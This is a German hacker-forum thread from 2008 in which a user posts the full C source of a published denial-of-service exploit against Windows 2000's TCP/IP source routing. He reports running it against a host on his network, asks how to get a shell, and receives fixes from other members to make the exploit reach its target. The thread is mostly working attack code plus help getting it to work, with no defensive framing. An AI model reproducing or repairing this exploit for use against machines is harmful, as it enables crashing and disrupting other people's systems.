Hackerboard Wiki HaboBlog
Hackerboard bei Facebook Hackerboard bei Google+ Hackerboard bei Twitter

[HaBo]

 
Virenschutz · Tools & Aggressive Software Tips zum Kampf gegen gegen Viren, Trojaner, CryptoSoft und Programme, die erstellt wurden um Schaden anzurichten, werden hier behandelt. Aber auch Tools aus dem Security Bereich sind hier richtig.

exploit kompiliert: ausgeführt, aber wie jetzt weiter?

Diskussion: exploit kompiliert: ausgeführt, aber wie jetzt weiter? im Forum Virenschutz · Tools & Aggressive Software, in der Kategorie Security Area; Anzeige Hallo! Ich wollte heute ein wenig was dazu lernen und hab ein exploit kompiliert: Code: /* #################################### # # ...

Antwort
Alt 25.01.08, 15:50   #1 (permalink)
 
Registriert seit: 20.05.07
MaCXyLo Leistung: Facit NTK
Likes: 0
Standard exploit kompiliert: ausgeführt, aber wie jetzt weiter?

Anzeige

Hallo!
Ich wollte heute ein wenig was dazu lernen und hab ein exploit kompiliert:

Code:
/*

####################################
# 
# Windows TCP/IP source routing poc
# C version...
#
# by Preddy
#
# RootShell Security Group
#
# Shoutz 2: 
#
#  Jimmy and ByteCoder + 
#  Rs Crew + 
#  Rest of the world :D
#
#
####################################

Compile:

gcc win-tcpip-dos.c -o wintcpipdos

Info:

Published:     14.06.2006
Source:        ANDREYMINAEV
Type:          remote
Level:         9/10

Buffer overflow on ICMP packets with 
Loose Source and Record Route IP options. 
Short message translation: There are DoS 
conditions in Windows 2000 built-in NAT 
server. Tested configuration: Windows 2000 
English Standard/Advanced Service Pack 4 
+ Update Rollup 1 for Service Pack 4 with 
NAT server enabled. While routing packets 
with options "Loose Source and Record Route" 
defined by RFC 791 through server, Windows 
crashes to BSOD with error in tcpip.sys or 
ntoskrnl.exe, or system hangs or system 
began instable work. It doesn't metter if 
packets are from internal or external 
networks. Use attached script to test 
vulnerability. On Windows 2003 problem 
doesn't present. It's also likely same 
problem to present in Windows 2000 + 
ISA 2000. Code execution is potentially possible.

*/

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>


main(int argc, char *argv[])
{

char dos_ip[255];
char mysystem[10];
char ping[20+1];
char trace[100];


if(argc != 3)
{

printf("\n\nWindows TCP/IP source routing Dos - by Preddy\n");
printf("Usage: %s <ip> <mysystem>\n", argv[0]);
printf("Example: %s 127.0.0.1 linux\n", argv[0]);
printf("Uses the ping and the traceroute utility on your system\n", argv[0]);
printf("Should cause a BSOD on the remote system\n");
printf("More info: http://www.security.nnov.ru/Fnews753.html\n\n");
exit(1);
}

strcpy(dos_ip, argv[1]);
strcpy(mysystem, argv[2]);


if((strcmp (argv[2],"linux"))==0)
{

printf("\nTarget: %s\n", dos_ip);
printf("MySystem: %s\n", mysystem);
printf("Sending Payload...\n\n");


strcpy(ping, "ping -c 1 ");
strncat(ping,argv[1],9);

strcpy(trace, "traceroute -m 1 -g 0.0.0.0 ");
strncat(trace,argv[1],9);


while(1)
{
system(trace);
system(ping);
}

}

if((strcmp (argv[2],"windows"))==0)
{

printf("Target: %s\n", dos_ip);
printf("MySystem: %s\n", mysystem);
printf("Sending Payload...\n");


strcpy(ping, "ping -n 1 ");
strncat(ping,argv[1],9);

strcpy(trace, "tracert -h 1 -j 0.0.0.0 ");
strncat(trace,argv[1],9);


while(1)
{
system(trace);
system(ping);
}

}

}

// milw0rm.com [2006-06-30]
Ich hab es jetzt auf mein Ziel ausgeführt:

Windows TCP/IP source routing Dos - by Preddy
Usage: tcpip.exe <ip> <mysystem>
Example: tcpip.exe 127.0.0.1 linux
Uses the ping and the traceroute utility on your system
Should cause a BSOD on the remote system
More info: http://www.security.nnov.ru/Fnews753.html

C:\Programme\MinGW\bin>exploit.exe 192.168.0.14 windows

Code:
Ping wird ausgeführt für 192.168.0.0 mit 32 Bytes Daten:

Das angegebene Ziel ist ungültig.

Ping-Statistik für 192.168.0.0:
    Pakete: Gesendet = 1, Empfangen = 0, Verloren = 1 (100% Verlust),
Aber jetz kommt die absolute b00nfrage: wie geht es weiter? Wie bekomme ich eine shell auf den anderen rechner? bzw. wieso erreicht er den anderen rechner den nicht? ich hab die ip überprüft sie stimmt...
MaCXyLo ist offline   Mit Zitat antworten
Alt 25.01.08, 16:10   #2 (permalink)
 
Registriert seit: 14.06.07
Machine Leistung: Facit NTK
Machine eine Nachricht über ICQ schicken
Likes: 0
Standard

192.168.0.0 ist eine netzadresse.. d.h diese adresse dürfte normalerweise nicht zu nem host gehören... 192.168.0.1 wäre eine hostadresse, bzw der router...
Machine ist offline   Mit Zitat antworten
   
HaBOT
 
- Anzeige -

Werbung ist gerade online    
Alt 25.01.08, 16:34   #3 (permalink)
Themenstarter
 
Registriert seit: 20.05.07
MaCXyLo Leistung: Facit NTK
Likes: 0
Standard

das ist mir bewusst ich habe auch den anschlag auf 192.168.0.14 verübt von 192.168.0.17 aus^ aber dabei kamm das mit 192.168.0.0 zu stande

127.0.0.1 ist natürlich möglich
MaCXyLo ist offline   Mit Zitat antworten
Alt 25.01.08, 17:45   #4 (permalink)
Senior Member
 
Registriert seit: 29.07.05
Heinzelotto Leistung: Facit NTK
Heinzelotto eine Nachricht über ICQ schicken
Likes: 0
Standard RE: exploit kompiliert: ausgeführt, aber wie jetzt weiter?

Zitat:
Original von MaCXyLo
Hallo!
Ich wollte heute ein wenig was dazu lernen und hab ein exploit kompiliert:

Code:
strncat(ping,argv[1],9);
ändern zu:

Code:
strncat(ping,argv[1],15);
Heinzelotto ist offline   Mit Zitat antworten
Alt 25.01.08, 18:37   #5 (permalink)
Senior Member
 
Registriert seit: 27.06.04
Cyberm@ster Leistung: Facit NTK
Likes: 0
Standard

15, weil ne IP-Adresse bis zu 15 Stellen hat (4 x 3 Ziffern + 3 x '.')?
Cyberm@ster ist offline   Mit Zitat antworten
Alt 25.01.08, 21:33   #6 (permalink)
Themenstarter
 
Registriert seit: 20.05.07
MaCXyLo Leistung: Facit NTK
Likes: 0
Standard

macht irgenwie immernoch keinen mucks :/
vielleicht hat er die punkte dazu gezählt zwischen den nummernblöcken
192.168.000.001
<- dann währens 15. ich habs aber auch mit 12 probiert zu kompelieren. der gleiche mist....
MaCXyLo ist offline   Mit Zitat antworten
Alt 26.01.08, 21:07   #7 (permalink)
 
Benutzerbild von _fux_
 
Registriert seit: 13.09.05
_fux_ Leistung: Abacus
Likes: 5
Standard

vlt. wurde der bug auf dem zielrechner gefixed, das teil ist von 2006.... ?
__________________
und?
_fux_ ist offline   Mit Zitat antworten
Alt 27.01.08, 21:20   #8 (permalink)
Themenstarter
 
Registriert seit: 20.05.07
MaCXyLo Leistung: Facit NTK
Likes: 0
Standard

nein xilehack wurds nich
MaCXyLo ist offline   Mit Zitat antworten
Alt 04.02.08, 22:33   #9 (permalink)
 
Registriert seit: 18.10.06
bcom Leistung: Facit NTK
Likes: 0
Standard

nimm statt strncat strcat und mach das letze argument, die anzahl ,weg. dann kopiert es einfach die komplette ip aus argv[1], egal wie lang die ip is. Das macht viel mehr sinn da die länge ja selbst wenn wir ein lokales subnetz wie 192.168.0 nehmen um bis zu 3 stellen variieren kann, da es ja z.b. 192.168.0.1, 192.168.0.10 und 192.168.0.100 gibt.
Somit macht es keinen sinn da ne zu kopierende stringlänge hardzucoden.
bcom ist offline   Mit Zitat antworten
Antwort
   
- Anzeige -

Werbung ist gerade online    

[HaBo] » Security Area » Virenschutz · Tools & Aggressive Software » exploit kompiliert: ausgeführt, aber wie jetzt weiter?
Themen-Optionen
Ansicht

Forumregeln
Es ist Ihnen nicht erlaubt, neue Themen zu verfassen.
Es ist Ihnen nicht erlaubt, auf Beiträge zu antworten.
Es ist Ihnen nicht erlaubt, Anhänge hochzuladen.
Es ist Ihnen nicht erlaubt, Ihre Beiträge zu bearbeiten.

BB-Code ist an.
Smileys sind an.
[IMG] Code ist an.
HTML-Code ist aus.
Trackbacks sind aus
Pingbacks sind aus
Refbacks sind aus


Ähnliche Themen
Thema Autor Forum Antworten Letzter Beitrag
Kernel kompiliert, beim booten wird rootfs nicht gefunden moveax1 Linux/UNIX 9 27.04.08 01:03
Dev-C++ "Projekt ist nicht kompiliert" Virus Code Kitchen 2 07.04.08 22:48
Suse 10.1: bekomme linux-wlan-ng nicht kompiliert Serow Linux/UNIX 2 04.07.06 12:27
Wie wird PHP ausgeführt? stone.dr (Web-) Design und webbasierte Sprachen 5 27.05.06 22:02
Kompiliert ihr euren Kernel selbst? Floppy Umfragen 21 28.09.05 02:54


1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61